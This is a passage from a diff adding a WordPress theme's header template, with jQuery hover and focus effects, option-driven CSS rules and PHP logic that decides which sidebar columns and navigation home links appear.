+	<?php } ?>
+	<?php if ($bfa_ata_highlight_forms == "Yes") { ?>
+	$bfa("input.text, input.TextField, input.file, input.password, textarea").focus(function () {  $bfa(this).addClass("highlight"); }).blur(function () { $bfa(this).removeClass("highlight"); })
+	<?php } ?>
+	$bfa("input.inputblur").focus(function () {  $bfa(this).addClass("inputfocus"); }).blur(function () { $bfa(this).removeClass("inputfocus"); })
+	<?php if (function_exists('lmbbox_comment_quicktags_display')) { ?>
+	$bfa("input.ed_button").mouseover(function() {$bfa(this).addClass("ed_button_hover");}).mouseout(function() {$bfa(this).removeClass("ed_button_hover");});
+	<?php } ?>
+	$bfa("input.button, input.Button").mouseover(function() {$bfa(this).addClass("buttonhover");}).mouseout(function() {$bfa(this).removeClass("buttonhover");});
+	// toggle "you can use these xhtml tags
+	$bfa("a.xhtmltags").click(function(){ $bfa("div.xhtml-tags").slideToggle(300); });
+});
+//-->
+</script>
+<?php if ( function_exists('wp_list_comments') AND is_singular() ) { wp_enqueue_script( 'comment-reply' ); } ?>
+<style type="text/css">
+body {
+	<?php echo $bfa_ata_body_style; ?>
+	}
+
+a:link, a:visited, a:active {
+	color: #<?php echo $bfa_ata_link_color; ?>; 
+	font-weight: <?php echo $bfa_ata_link_weight; ?>; 
+	text-decoration: <?php echo $bfa_ata_link_default_decoration; ?>; 
+	}
+	
+a:hover {
+	color: #<?php echo $bfa_ata_link_hover_color; ?>;
+	font-weight: <?php echo $bfa_ata_link_weight; ?>; 
+	text-decoration: <?php echo $bfa_ata_link_hover_decoration; ?>; 
+	}
+		
+<?php if  ( $bfa_ata_layout_style_leftright_padding == "" ) { 
+	$bfa_ata_layout_style_leftright_padding = "0"; }
+	if ( $bfa_ata_layout_style_leftright_padding != "0" ) { 
+	$bfa_ata_layout_min = $bfa_ata_layout_min_width + ( $bfa_ata_layout_style_leftright_padding * 2 );
+	$bfa_ata_layout_max = $bfa_ata_layout_max_width + ( $bfa_ata_layout_style_leftright_padding * 2 );	
+	} else {
+	$bfa_ata_layout_min = $bfa_ata_layout_min_width;
+	$bfa_ata_layout_max = $bfa_ata_layout_max_width;
+	}
+	?>
+
+div#wrapper {
+	width: <?php echo $bfa_ata_layout_width; ?>;
+	<?php // if layout is fluid, set min/max width, if defined:
+	if(stristr($bfa_ata_layout_width, 'px') === FALSE) { 
+	echo ($bfa_ata_layout_min_width == "" ? "" : "min-width: " . $bfa_ata_layout_min . "px;\n"); 
+	echo ($bfa_ata_layout_max_width == "" ? "" : "max-width: " . $bfa_ata_layout_max . "px;\n");	
+	} ?>
+	}
+
+<?php // min/max width for IE6:
+if(stristr($bfa_ata_layout_width, 'px') === FALSE && ($bfa_ata_layout_min != "" OR $bfa_ata_layout_max != "" )) { ?>
+* html div#wrapper {
+	width:expression<?php if($bfa_ata_layout_max_width != "") { ?>(((document.compatMode && 
+	document.compatMode=='CSS1Compat') ? 
+	document.documentElement.clientWidth : 
+	document.body.clientWidth) 
+	> <?php echo $bfa_ata_layout_max +1; ?> ? "<?php echo $bfa_ata_layout_max; ?>px" : 
+	<?php } if($bfa_ata_layout_min_width == "") { ?>"<?php echo $bfa_ata_layout_width; ?>");}<?php } else { ?>
+	(((document.compatMode && 
+	document.compatMode=='CSS1Compat') ? 
+	document.documentElement.clientWidth : 
+	document.body.clientWidth) 
+	< <?php echo $bfa_ata_layout_min + 1; ?> ? "<?php echo $bfa_ata_layout_min; ?>px" : 
+	"<?php echo $bfa_ata_layout_width; ?>")); 
+	}
+<?php } } ?>
+
+div#container {
+	<?php echo $bfa_ata_layout_style; ?>
+	<?php if ( $bfa_ata_layout_style_leftright_padding != "0" ) { ?>
+	padding-left: <?php echo $bfa_ata_layout_style_leftright_padding; ?>px;
+	padding-right: <?php echo $bfa_ata_layout_style_leftright_padding; ?>px;
+	<?php } ?>
+	}
+
+.colone {width: <?php echo $bfa_ata_left_sidebar_width; ?>px;}
+.colthree {width: <?php echo $bfa_ata_right_sidebar_width; ?>px;}
+	
+table#logoarea {
+	border-spacing: 0px;
+	<?php echo $bfa_ata_logoarea_style; ?>
+	}
+	
+.logo {
+	<?php echo $bfa_ata_logo_style; ?>
+	}
+
+h1.blogtitle {
+	<?php echo $bfa_ata_blog_title_style; ?>
+	}
+	
+h1.blogtitle a:link, 
+h1.blogtitle a:visited, 
+h1.blogtitle a:active {
+	color: #<?php echo $bfa_ata_blog_title_color; ?>;
+	font-weight: <?php echo $bfa_ata_blog_title_weight; ?>;
+	}
+	
+h1.blogtitle a:hover {
+	color: #<?php echo $bfa_ata_blog_title_color_hover; ?>;
+	font-weight: <?php echo $bfa_ata_blog_title_weight; ?>;
+	}
+
+p.tagline { 
+	<?php echo $bfa_ata_blog_tagline_style; ?>
+	}
+
+div.rss-box {
+	width: <?php echo $bfa_ata_rss_box_width; ?>px;
+	}
+	
+.searchbox {
+	height: 35px;
+	<?php echo $bfa_ata_searchbox_style; ?>
+	}
+
+.horbar1 {
+	<?php echo $bfa_ata_horbar1; ?>
+	}
+	
+.horbar2 { 
+	<?php echo $bfa_ata_horbar2; ?>
+	}	
+
+<?php if (strpos($bfa_ata_configure_header,'%image')!==false) { ?>
+.header-image-container {
+	height: <?php echo $bfa_ata_headerimage_height; ?>px; 
+	}
+<?php } ?>
+	
+<?php if ( $bfa_ata_overlay_blog_title == "Yes" OR $bfa_ata_overlay_blog_tagline == "Yes" ) { ?>
+.titleoverlay {
+	<?php echo $bfa_ata_overlay_box_style; ?>
+	}
+<?php } ?>
+
+<?php if ( $bfa_ata_header_opacity_left != 0 AND $bfa_ata_header_opacity_left != '' ) { ?>
+.opacityleft {
+	background-color: #<?php echo $bfa_ata_header_opacity_left_color; ?>; 
+	height: <?php echo $bfa_ata_headerimage_height; ?>px;
+	width: <?php echo $bfa_ata_header_opacity_left_width; ?>px; 
+	filter: alpha(opacity=<?php echo $bfa_ata_header_opacity_left; ?>);
+	-moz-opacity:.<?php echo $bfa_ata_header_opacity_left; ?>;
+	opacity:.<?php echo $bfa_ata_header_opacity_left; ?>;
+	}
+<?php } ?>
+
+<?php if ( $bfa_ata_header_opacity_right != 0 AND $bfa_ata_header_opacity_right != '' ) { ?>
+.opacityright {
+	background-color: #<?php echo $bfa_ata_header_opacity_right_color; ?>; 
+	height: <?php echo $bfa_ata_headerimage_height; ?>px;
+	width: <?php echo $bfa_ata_header_opacity_right_width; ?>px; 
+	filter: alpha(opacity=<?php echo $bfa_ata_header_opacity_right; ?>);
+	-moz-opacity:.<?php echo $bfa_ata_header_opacity_right; ?>;
+	opacity:.<?php echo $bfa_ata_header_opacity_right; ?>;
+	}
+<?php } ?>
+
+
+<?php if ($bfa_ata_header_image_clickable == "Yes") { ?>
+div.clickable {
+	height: <?php echo $bfa_ata_headerimage_height; ?>px; 
+	}
+<?php } ?>
+		
+td#left {
+	<?php echo $bfa_ata_left_sidebar_style; ?>
+	}
+
+td#right {
+	<?php echo $bfa_ata_right_sidebar_style; ?>
+	}
+
+td#middle {
+	<?php echo $bfa_ata_center_column_style; ?>
+	}
+
+td#footer {
+	width: auto;
+	<?php echo $bfa_ata_footer_style; ?>
+	}
+
+td#footer a:link, td#footer a:visited, td#footer a:active {
+	<?php echo $bfa_ata_footer_style_links; ?>
+	}
+
+td#footer a:hover {
+	<?php echo $bfa_ata_footer_style_links_hover; ?>
+	}
+	
+div.widget {
+	<?php echo $bfa_ata_widget_container; ?>
+	}
+
+div.widget-title {
+	<?php echo $bfa_ata_widget_title_box; ?>
+	}
+
+div.widget-title h3 {
+	<?php echo $bfa_ata_widget_title; ?>
+	}	
+	
+div.widget-content {
+	<?php echo $bfa_ata_widget_content; ?>
+	}
+
+div.widget select { 
+	<?php if ( $bfa_ata_select_font_size != "Default" ) { 
+	echo "font-size: " . $bfa_ata_select_font_size . ";\n"; } ?> 
+}	
+	
+.widget ul li {
+	margin: 2px 0 2px <?php echo $bfa_ata_widget_lists['li-margin-left']; ?>px;
+	}
+
+.widget ul li ul li {
+	margin: 2px 0 2px <?php echo $bfa_ata_widget_lists2['li-margin-left']; ?>px;  
+	}
+
+.widget ul li ul li ul li {
+	margin: 2px 0 2px <?php echo $bfa_ata_widget_lists3['li-margin-left']; ?>px;  
+	}
+	
+.widget ul li a:link, 
+.widget ul li a:visited, 
+.widget ul li a:active {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists['link-padding-left']; ?>px; 
+	color: #<?php echo $bfa_ata_widget_lists['link-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists['link-border-left-color']; ?>; 
+	}
+
+.widget ul li ul li a:link, 
+.widget ul li ul li a:visited, 
+.widget ul li ul li a:active {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists2['link-padding-left']; ?>px; 
+	color: #<?php echo $bfa_ata_widget_lists2['link-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists2['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists2['link-border-left-color']; ?>; 
+	}
+
+.widget ul li ul li ul li a:link, 
+.widget ul li ul li ul li a:visited, 
+.widget ul li ul li ul li a:active {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists3['link-padding-left']; ?>px; 
+	color: #<?php echo $bfa_ata_widget_lists3['link-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists3['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists3['link-border-left-color']; ?>; 
+	}
+
+	
+.widget ul li a:hover {
+	color: #<?php echo $bfa_ata_widget_lists['link-hover-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists['link-border-left-hover-color']; ?>; 
+	}
+
+.widget ul li ul li a:hover {
+	color: #<?php echo $bfa_ata_widget_lists2['link-hover-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists2['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists2['link-border-left-hover-color']; ?>; 
+	}
+
+.widget ul li ul li ul li a:hover {
+	color: #<?php echo $bfa_ata_widget_lists3['link-hover-color']; ?>; 
+	border-left: solid <?php echo $bfa_ata_widget_lists3['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists3['link-border-left-hover-color']; ?>; 
+	}
+	
+.widget_categories ul li a:link, 
+.widget_categories ul li a:visited, 
+.widget_categories ul li a:active,
+.widget_categories ul li a:hover {
+	display: <?php echo $bfa_ata_category_widget_display_type; ?> !important;  
+	}
+	
+div#get_recent_comments_wrap ul li ul li,
+.widget_recent_comments ul li, 
+.widget_simple_recent_comments ul li {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists['link-padding-left']; ?>px; 
+	border-left: solid <?php echo $bfa_ata_widget_lists['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists['link-border-left-color']; ?>; 
+	}
+
+div#get_recent_comments_wrap ul li ul li ul li, 
+.widget_recent_comments ul li ul li, 
+.widget_simple_recent_comments ul li ul li {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists2['link-padding-left']; ?>px; 
+	border-left: solid <?php echo $bfa_ata_widget_lists2['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists2['link-border-left-color']; ?>; 
+	}
+
+.widget_recent_comments ul li ul li ul li, 
+.widget_simple_recent_comments ul li ul li ul li {
+	padding: 0 0 0 <?php echo $bfa_ata_widget_lists3['link-padding-left']; ?>px; 
+	border-left: solid <?php echo $bfa_ata_widget_lists3['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists3['link-border-left-color']; ?>; 
+	}	
+	
+div#get_recent_comments_wrap ul li ul li:hover, 
+.widget_recent_comments ul li:hover, 
+.widget_simple_recent_comments ul li:hover, 
+div#get_recent_comments_wrap ul li ul li.sfhover, 	
+.widget_recent_comments ul li.sfhover, 
+.widget_simple_recent_comments ul li.sfhover {	
+	border-left: solid <?php echo $bfa_ata_widget_lists['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists['link-border-left-hover-color']; ?>; 
+	}
+
+div#get_recent_comments_wrap ul li ul li ul li:hover, 
+.widget_recent_comments ul li ul li:hover, 
+.widget_simple_recent_comments ul li ul li:hover, 	
+div#get_recent_comments_wrap ul li ul li ul li.sfhover, 
+.widget_recent_comments ul li ul li.sfhover, 
+.widget_simple_recent_comments ul li ul li.sfhover {	
+	border-left: solid <?php echo $bfa_ata_widget_lists2['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists2['link-border-left-hover-color']; ?>; 
+	}
+
+.widget_recent_comments ul li ul li ul li:hover, 
+.widget_simple_recent_comments ul li ul li ul li:hover, 	
+.widget_recent_comments ul li ul li ul li.sfhover, 
+.widget_simple_recent_comments ul li ul li ul li.sfhover {	
+	border-left: solid <?php echo $bfa_ata_widget_lists3['link-border-left-width']; ?>px #<?php echo $bfa_ata_widget_lists3['link-border-left-hover-color']; ?>; 
+	}
+	
+div.post {
+	<?php echo $bfa_ata_post_container_style; ?>
+	}
+
+.sticky {
+	<?php echo $bfa_ata_post_container_sticky_style; ?>
+	}
+
+div.post-kicker {
+	<?php echo $bfa_ata_post_kicker_style; ?>
+	}
+
+div.post-kicker a:link, 
+div.post-kicker a:visited, 
+div.post-kicker a:active {
+	<?php echo $bfa_ata_post_kicker_style_links; ?>
+	}
+
+div.post-kicker a:hover {
+	<?php echo $bfa_ata_post_kicker_style_links_hover; ?>
+	}
+
+div.post-headline {
+	<?php echo $bfa_ata_post_headline_style; ?>
+	}
+
+div.post-headline h2 {
+	<?php echo $bfa_ata_post_headline_style_text; ?>
+	}
+
+div.post-headline h2 a:link, 
+div.post-headline h2 a:visited, 
+div.post-headline h2 a:active {
+	<?php echo $bfa_ata_post_headline_style_links; ?>
+	}
+
+div.post-headline h2 a:hover {
+	<?php echo $bfa_ata_post_headline_style_links_hover; ?>
+	}
+	
+div.post-byline {
+	<?php echo $bfa_ata_post_byline_style; ?>
+	}
+
+div.post-byline a:link, 
+div.post-byline a:visited, 
+div.post-byline a:active {
+	<?php echo $bfa_ata_post_byline_style_links; ?>
+	}
+
+div.post-byline a:hover {
+	<?php echo $bfa_ata_post_byline_style_links_hover; ?>
+	}
+
+div.post-bodycopy {
+	<?php echo $bfa_ata_post_bodycopy_style; ?>
+	}
+	
+div.post-footer {
+	<?php echo $bfa_ata_post_footer_style; ?>
+	}
+
+div.post-footer a:link, 
+div.post-footer a:visited, 
+div.post-footer a:active {
+	<?php echo $bfa_ata_post_footer_style_links; ?>
+	}	
+
+div.post-footer a:hover {
+	<?php echo $bfa_ata_post_footer_style_links_hover; ?>
+	}
+
+.navigation-top {
+	<?php echo $bfa_ata_next_prev_style_top; ?>
+	}
+
+.navigation-middle {
+	<?php echo $bfa_ata_next_prev_style_middle; ?>
+	}
+	
+.navigation-bottom {
+	<?php echo $bfa_ata_next_prev_style_bottom; ?>
+	}
+
+.navigation-comments-above {
+	<?php if (isset($bfa_ata_next_prev_style_comments_above)) echo $bfa_ata_next_prev_style_comments_above; ?>
+	}
+	
+.navigation-comments-below {
+	<?php if (isset($bfa_ata_next_prev_style_comments_below)) echo $bfa_ata_next_prev_style_comments_below; ?>
+	}
+	
+input.text, 
+input.password, 
+input.file,
+input.TextField, 
+textarea {
+	<?php echo $bfa_ata_form_input_field_style . "\n"; ?>
+	<?php echo ($bfa_ata_form_input_field_background != "" ? 
+	"background: url(" . get_bloginfo('template_directory') . "/images/" . 
+	$bfa_ata_form_input_field_background . ") top left no-repeat;" : ""); ?>
+	}
+	
+<?php if ($bfa_ata_highlight_forms == "Yes") { ?>
+input.highlight, textarea.highlight {
+	<?php echo $bfa_ata_highlight_forms_style; ?>
+	}
+<?php } ?>
+
+.button, .Button {
+	<?php echo $bfa_ata_button_style; ?>
+	}
+	
+.buttonhover {
+	<?php echo $bfa_ata_button_style_hover; ?>
+	}
+
+form#commentform input#submit	{
+	<?php echo $bfa_ata_submit_button_style; ?>
+	}
+	
+blockquote {
+	<?php echo $bfa_ata_blockquote_style; ?>	
+	}
+	
+blockquote blockquote {
+	<?php echo $bfa_ata_blockquote_style_2nd_level; ?>
+	}
+
+.post table {
+	<?php echo $bfa_ata_table; ?>
+	}
+	
+.post table caption {
+	<?php echo $bfa_ata_table_caption; ?>
+	}
+	
+.post table th {
+	<?php echo $bfa_ata_table_th; ?>
+	}
+	
+.post table td {
+	<?php echo $bfa_ata_table_td; ?>
+	}
+
+.post table tfoot td {
+	<?php echo $bfa_ata_table_tfoot_td; ?>
+	}
+	
+.post table tr.alt td {
+	<?php echo $bfa_ata_table_zebra_td; ?>
+	}
+
+.post table tr.over td {
+	<?php echo $bfa_ata_table_hover_td; ?>
+	}
+
+ol.commentlist {
+	border-top: <?php echo $bfa_ata_comment_border; ?>;
+	}
+	
+ol.commentlist li {
+	background-color: #<?php echo $bfa_ata_comment_background_color; ?>;
+	border-bottom: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+ol.commentlist li.alt {
+	background-color: #<?php echo $bfa_ata_comment_alt_background_color; ?>;
+	border-bottom: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+ol.commentlist li.authorcomment {
+	background-color: #<?php echo $bfa_ata_author_highlight_color; ?>;
+	}
+
+ol.commentlist span.authorname {
+	font-size: <?php echo $bfa_ata_comment_author_size; ?>;
+	}
+
+ul.commentlist {
+	border-top: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+ul.commentlist li.thread-even {
+	background-color: #<?php echo $bfa_ata_comment_background_color; ?>;
+	border-bottom: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+ul.commentlist li.thread-odd {
+	background-color: #<?php echo $bfa_ata_comment_alt_background_color; ?>;
+	border-bottom: <?php echo $bfa_ata_comment_border; ?>;
+	}
+
+<?php if ($bfa_ata_author_highlight == "Yes") { ?>
+ul.commentlist li.bypostauthor {
+	background-color: #<?php echo $bfa_ata_author_highlight_color; ?>;
+	}
+<?php } ?>
+	
+/* reset children */
+
+ul.commentlist li ul.children, 
+ul.commentlist li ul.children li, 
+ul.commentlist li ul.children li.bypostauthor  {
+	background-color: transparent;
+	border: 0;
+	padding: 0;
+	margin: 0;
+	display: block;
+	height: 1%;  /* for IE */
+	}
+
+ul.commentlist span.authorname {
+	font-size: <?php echo $bfa_ata_comment_author_size; ?>;
+	}
+
+a.page-numbers:link, 
+a.page-numbers:visited, 
+a.page-numbers:active {
+	color: #<?php echo $bfa_ata_link_color; ?>; 
+	border-color: #<?php echo $bfa_ata_link_color; ?>;
+	}
+
+a.page-numbers:hover {
+	color: #<?php echo $bfa_ata_link_hover_color; ?>; 
+	border-color: #<?php echo $bfa_ata_link_hover_color; ?>;
+	}
+
+.post img { <?php echo $bfa_ata_post_image_style; ?> }
+
+.wp-caption { <?php echo $bfa_ata_post_image_caption_style; ?> }
+
+.wp-caption p.wp-caption-text {
+	<?php echo $bfa_ata_image_caption_text; ?>
+	}
+
+img.avatar { 
+	<?php echo $bfa_ata_avatar_style; ?> 
+	}
+	
+div#respond {
+	<?php echo $bfa_ata_comment_form_style; ?> 
+	}
+	
+<?php if (strpos($bfa_ata_configure_header,'%pages')!==false OR strpos($bfa_ata_configure_header,'%cats')!==false) { ?>
+div#menu1 ul.rMenu-ver, div#menu1 ul.rMenu-ver ul
+	{
+	width: <?php echo $bfa_ata_page_menu_submenu_width; ?>em;	
+	}
+
+div#menu2 ul.rMenu-ver, div#menu2 ul.rMenu-ver ul
+	{
+	width: <?php echo $bfa_ata_cat_menu_submenu_width; ?>em;	
+	}
+	
+ul.rMenu
+	{
+	background: #<?php echo $bfa_ata_page_menu_bar_background_color; ?>;
+	border: <?php echo $bfa_ata_anchor_border_page_menu_bar; ?>;
+	}
+
+ul#rmenu
+	{
+	background: #<?php echo $bfa_ata_cat_menu_bar_background_color; ?>;
+	border: <?php echo $bfa_ata_anchor_border_cat_menu_bar; ?>;
+	}
+
+ul.rMenu li a
+	{
+	border: <?php echo $bfa_ata_anchor_border_page_menu_bar; ?>;	
+	}
+
+ul#rmenu li a
+	{
+	border: <?php echo $bfa_ata_anchor_border_cat_menu_bar; ?>;	
+	}
+
+div#menu1 ul.rMenu-ver
+	{
+	border-top: <?php echo $bfa_ata_anchor_border_page_menu_bar; ?>;	
+	}
+
+div#menu2 ul.rMenu-ver
+	{
+	border-top: <?php echo $bfa_ata_anchor_border_cat_menu_bar; ?>;	
+	}
+	
+ul.rMenu li a:link, ul.rMenu li a:hover, ul.rMenu li a:visited, ul.rMenu li a:active
+	{
+	color: #<?php echo $bfa_ata_page_menu_bar_link_color; ?>;
+	text-transform: <?php echo $bfa_ata_page_menu_transform; ?>;
+	font: <?php echo $bfa_ata_page_menu_font; ?>;  
+	}
+
+ul#rmenu li a:link, ul#rmenu li a:hover, ul#rmenu li a:visited, ul#rmenu li a:active
+	{
+	color: #<?php echo $bfa_ata_cat_menu_bar_link_color; ?>;
+	text-transform: <?php echo $bfa_ata_cat_menu_transform; ?>;
+	font: <?php echo $bfa_ata_cat_menu_font; ?>; 
+	}
+	
+ul.rMenu li
+	{
+	background-color: #<?php echo $bfa_ata_page_menu_bar_background_color; ?>;	
+	}
+
+ul#rmenu li
+	{
+	background-color: #<?php echo $bfa_ata_cat_menu_bar_background_color; ?>;	
+	}
+	
+ul.rMenu li:hover,
+ul.rMenu li.sfhover
+	{
+	background-color: #<?php echo $bfa_ata_page_menu_bar_background_color_parent; ?>;	
+	}
+
+ul#rmenu li:hover,
+ul#rmenu li.sfhover
+	{
+	background-color: #<?php echo $bfa_ata_cat_menu_bar_background_color_parent; ?>;	
+	}
+
+ul.rMenu li.current_page_item a:link, 
+ul.rMenu li.current_page_item a:active, 
+ul.rMenu li.current_page_item a:hover, 
+ul.rMenu li.current_page_item a:visited, 
+ul.rMenu li a:hover
+	{
+	background-color: #<?php echo $bfa_ata_page_menu_bar_background_color_hover; ?>;
+	color: #<?php echo $bfa_ata_page_menu_bar_link_color_hover; ?>;
+	}
+
+ul#rmenu li.current-cat a:link, 
+ul#rmenu li.current-cat a:active, 
+ul#rmenu li.current-cat a:hover, 
+ul#rmenu li.current-cat a:visited, 
+ul#rmenu li a:hover
+	{
+	background-color: #<?php echo $bfa_ata_cat_menu_bar_background_color_hover; ?>;
+	color: #<?php echo $bfa_ata_cat_menu_bar_link_color_hover; ?>;
+	}
+
+div#menu1 ul.rMenu li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a 
+	{
+	background-image: url(<?php echo get_bloginfo('template_directory'); ?>/images/expand-right<?php echo ($bfa_ata_page_menu_arrows == "white" ? "-white" : ""); ?>.gif);
+	}
+
+div#menu2 ul.rMenu li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a 
+	{
+	background-image: url(<?php echo get_bloginfo('template_directory'); ?>/images/expand-right<?php echo ($bfa_ata_cat_menu_arrows == "white" ? "-white" : ""); ?>.gif);
+	}
+	
+div#menu1 ul.rMenu-hor li.rMenu-expand a
+	{
+	background-image: url(<?php echo get_bloginfo('template_directory'); ?>/images/expand-down<?php echo ($bfa_ata_page_menu_arrows == "white" ? "-white" : ""); ?>.gif);
+	}
+	
+div#menu2 ul.rMenu-hor li.rMenu-expand a
+	{
+	background-image: url(<?php echo get_bloginfo('template_directory'); ?>/images/expand-down<?php echo ($bfa_ata_cat_menu_arrows == "white" ? "-white" : ""); ?>.gif);
+	}
+<?php } ?>	
+<?php echo $bfa_ata_html_inserts_css; ?>
+</style>
+<?php wp_head(); ?>
+<?php if (function_exists('wp_pagenavi')) { ?>
+<style type="text/css">
+.wp-pagenavi a:link, .wp-pagenavi a:visited, .wp-pagenavi a:active { color: #<?php echo $bfa_ata_link_color; ?>; border: solid 1px #<?php echo $bfa_ata_link_color; ?>; }
+.wp-pagenavi a:hover { color: #<?php echo $bfa_ata_link_hover_color; ?>; border: solid 1px #<?php echo $bfa_ata_link_hover_color; ?>; }
+</style>
+<?php } ?>
+<?php echo ($bfa_ata_html_inserts_header != "" ? apply_filters(widget_text, $bfa_ata_html_inserts_header) : ''); ?>
+</head>
+<?php
+// load postinfo function
+include (TEMPLATEPATH . '/functions/bfa_postinfo.php');
+// if this is a multi post page, and a "home" link is set for the next/prev navigation on multi post pages, 
+// figure out if this the blog homepage, and remove the "home" link from the next/prev navigation if true
+if ( !is_single() AND !is_page() AND $bfa_ata_home_multi_next_prev != '' ) {
+	$nav_home_div_on = '<div class="home"><a href="' . get_option('home') . '/">' . $bfa_ata_home_multi_next_prev . '</a></div>'; 
+	// for WP 2.5 and newer
+	if ( function_exists('is_front_page') ) {
+		// make sure this is the real homepage and not a subsequent page
+		if (is_front_page() && !is_paged() ) {
+		$nav_home_add = ""; $nav_home_div = ""; 
+		} else {
+		$nav_home_add = '-home';
+		$nav_home_div = $nav_home_div_on; 
+		}
+	} 
+	// for WP 2.3 and older
+	// make sure this is the real homepage and not a subsequent page
+	elseif ( is_home() && !is_paged() ) {
+	$nav_home_add = ""; $nav_home_div = "";
+	}
+	else { 
+	$nav_home_add = '-home'; 
+	$nav_home_div = $nav_home_div_on; 
+	}
+}
+// Home link for next/prev on single pages
+if ( is_single() ) {
+	if ($bfa_ata_home_single_next_prev != '') {
+	$nav_home_div_on_single = '<div class="home"><a href="' . get_option('home') . '/">' . $bfa_ata_home_single_next_prev . '</a></div>'; 
+	$nav_home_add_single = '-home';
+	} else {
+	$nav_home_div_on_single = "";
+	$nav_home_add_single = "";
+	}
+}
+// figure out sidebars
+global $cols;
+$cols = 1;
+if ( is_page() ) {
+#$current_page_id = $wp_query->get('page_id');
+$current_page_id = $wp_query->get_queried_object_id();
+	if ($bfa_ata_left_col_pages_exclude != "") { 
+	$pages_exlude_left = explode(",", str_replace(" ", "", $bfa_ata_left_col_pages_exclude));
+		if ( $bfa_ata_leftcol_on['page'] && !in_array($current_page_id, $pages_exlude_left) ) {
+		$cols++; $left_col = "on"; }
+	} else {
+		if ( $bfa_ata_leftcol_on['page'] ) {
+		$cols++; $left_col = "on"; }
+	}
+	if ($bfa_ata_right_col_pages_exclude != "") { 
+	$pages_exlude_right = explode(",", str_replace(" ", "", $bfa_ata_right_col_pages_exclude));
+		if ( $bfa_ata_rightcol_on['page'] && !in_array($current_page_id, $pages_exlude_right) ) {
+		$cols++; $right_col = "on"; }
+	} else {
+		if ( $bfa_ata_rightcol_on['page'] ) {
+		$cols++; $right_col = "on"; }
+	}
+} elseif ( is_category() ) {
+$current_cat_id = get_query_var('cat');
+	if ($bfa_ata_left_col_cats_exclude != "") {
+	$cats_exlude_left = explode(",", str_replace(" ", "", $bfa_ata_left_col_cats_exclude));
+		if ( $bfa_ata_leftcol_on['category'] && !in_array($current_cat_id, $cats_exlude_left) ) {
+		$cols++; $left_col = "on"; }
+	} else {
+		if ( $bfa_ata_leftcol_on['category'] ) {
+		$cols++; $left_col = "on"; }
+	}
+	if ($bfa_ata_right_col_cats_exclude != "") {
+	$cats_exlude_right = explode(",", str_replace(" ", "", $bfa_ata_right_col_cats_exclude));
+		if ( $bfa_ata_rightcol_on['category'] && !in_array($current_cat_id, $cats_exlude_right) ) {
+		$cols++; $right_col = "on"; }
+	} else {
+		if ( $bfa_ata_rightcol_on['category'] ) {
+		$cols++; $right_col = "on"; }
+	}
+} else {
+if ( (is_home() && $bfa_ata_leftcol_on['homepage']) || ( is_front_page() && $bfa_ata_leftcol_on['frontpage']) || 
+( is_single() && $bfa_ata_leftcol_on['single']) || ( is_date() && $bfa_ata_leftcol_on['date']) || 
+( is_tag() && $bfa_ata_leftcol_on['tag']) || ( is_search() && $bfa_ata_leftcol_on['search']) || 
+( is_author() && $bfa_ata_leftcol_on['author']) || ( is_404() && $bfa_ata_leftcol_on['404']) || 
+( is_attachment() && $bfa_ata_leftcol_on['attachment']) ) {
+	$cols++; $left_col = "on"; 
+	}
+if ( (is_home() && $bfa_ata_rightcol_on['homepage']) || ( is_front_page() && $bfa_ata_rightcol_on['frontpage']) || 
+( is_single() && $bfa_ata_rightcol_on['single']) || ( is_date() && $bfa_ata_rightcol_on['date']) || 
+( is_tag() && $bfa_ata_rightcol_on['tag']) || ( is_search() && $bfa_ata_rightcol_on['search']) || 
+( is_author() && $bfa_ata_rightcol_on['author']) || ( is_404() && $bfa_ata_rightcol_on['404']) || 
+( is_attachment() && $bfa_ata_rightcol_on['attachment']) ) {
+	$cols++; $right_col = "on"; 
+	}
+}
+
+?>
+<body<?php echo ($bfa_ata_html_inserts_body_tag != "" ? ' ' . apply_filters(widget_text, $bfa_ata_html_inserts_body_tag) : ''); ?>>
+<?php echo ($bfa_ata_html_inserts_body_top != "" ? apply_filters(widget_text, $bfa_ata_html_inserts_body_top) : ''); ?>
+<div id="wrapper">
+<div id="container">
+<table id="layout" border="0" cellspacing="0" cellpadding="0">
+<colgroup>
+<?php if ( $left_col == "on" ) { ?>
+<col class="colone" />
+<?php } ?>
+<col class="coltwo" />
+<?php if ( $right_col == "on" ) { ?>
+<col class="colthree" />
+<?php } ?>
+</colgroup> 
+	<tr>
+
+		<!-- Header -->
